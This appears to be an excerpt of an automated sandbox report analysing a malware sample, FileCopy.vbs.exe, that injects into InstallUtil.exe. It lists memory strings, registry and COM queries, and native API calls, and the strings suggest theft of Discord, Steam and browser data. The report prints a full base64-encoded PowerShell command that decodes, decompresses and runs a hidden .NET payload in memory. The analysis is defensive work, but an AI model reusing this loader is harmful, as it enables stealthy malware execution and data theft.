Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://icanhazip.com/
Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacl
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002EDA000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1514730969.000000000A791000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1513166878.0000000008481000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1513166878.0000000009808000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1512710954.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000004166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002E99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

E-Banking Fraud

Malicious encrypted Powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==			Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: FileCopy.vbs.exe PID: 7472, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

.NET source code contains very large array initializations

Source: 4.2.FileCopy.vbs.exe.638bd08.1.raw.unpack, DeciderConsumer.cs

Large array initialization: EncryptEditor: array initializer size 360384

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D8B5A0 NtResumeThread,	4_2_09D8B5A0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D88CA0 NtProtectVirtualMemory,	4_2_09D88CA0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D8B598 NtResumeThread,	4_2_09D8B598
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D88C9B NtProtectVirtualMemory,	4_2_09D88C9B

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_06B613EE	4_2_06B613EE
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C622CC	4_2_09C622CC
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C60040	4_2_09C60040
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C6001C	4_2_09C6001C
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C849C0	4_2_09C849C0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C83758	4_2_09C83758
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C86323	4_2_09C86323
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C849B0	4_2_09C849B0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C8A8C1	4_2_09C8A8C1
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C8A8D0	4_2_09C8A8D0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C80040	4_2_09C80040
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C80011	4_2_09C80011
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C83748	4_2_09C83748
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C8BA9F	4_2_09C8BA9F
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09C8BAB0	4_2_09C8BAB0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D50040	4_2_09D50040
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D556C8	4_2_09D556C8
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D5E2C6	4_2_09D5E2C6
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D5E444	4_2_09D5E444
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D5F72F	4_2_09D5F72F
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D556C0	4_2_09D556C0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D857E0	4_2_09D857E0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D88A10	4_2_09D88A10
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D857D8	4_2_09D857D8
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09D88A0B	4_2_09D88A0B
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09DA0040	4_2_09DA0040
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09DA0367	4_2_09DA0367
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_09DA1248	4_2_09DA1248
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_0A0DED78	4_2_0A0DED78
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_0A0C0006	4_2_0A0C0006
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_0A0C0040	4_2_0A0C0040
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4_2_0A0DE1E0	4_2_0A0DE1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE1CC8	6_2_02AE1CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AED590	6_2_02AED590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE1A30	6_2_02AE1A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE1A40	6_2_02AE1A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE4F02	6_2_02AE4F02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE4F10	6_2_02AE4F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE3765	6_2_02AE3765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE20AB	6_2_02AE20AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE2094	6_2_02AE2094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE20FF	6_2_02AE20FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE20C5	6_2_02AE20C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE1CC8	6_2_02AE1CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE401B	6_2_02AE401B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE4019	6_2_02AE4019
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE2067	6_2_02AE2067
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE2044	6_2_02AE2044
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_02AE405E	6_2_02AE405E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_052E2B68	6_2_052E2B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_052E2B47	6_2_052E2B47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053E86C8	6_2_053E86C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053E098D	6_2_053E098D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053EDA10	6_2_053EDA10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053ED2D8	6_2_053ED2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053E86C2	6_2_053E86C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053ECB37	6_2_053ECB37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053ECB48	6_2_053ECB48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_053ED2C9	6_2_053ED2C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05525418	6_2_05525418
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0552A4C0	6_2_0552A4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05529C88	6_2_05529C88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0552A9D0	6_2_0552A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0552A4B2	6_2_0552A4B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0552CC48	6_2_0552CC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05529C78	6_2_05529C78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0552CC25	6_2_0552CC25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0552A9BF	6_2_0552A9BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0554ADA8	6_2_0554ADA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05547980	6_2_05547980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05547CA7	6_2_05547CA7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_055489B0	6_2_055489B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05766580	6_2_05766580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576D400	6_2_0576D400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_057667A6	6_2_057667A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_057691C8	6_2_057691C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05769DE0	6_2_05769DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576EC18	6_2_0576EC18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576CA63	6_2_0576CA63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05766570	6_2_05766570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05769510	6_2_05769510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05766707	6_2_05766707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576678E	6_2_0576678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576D37F	6_2_0576D37F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576D3F0	6_2_0576D3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576EC08	6_2_0576EC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_0576CCCB	6_2_0576CCCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 6_2_05766989	6_2_05766989
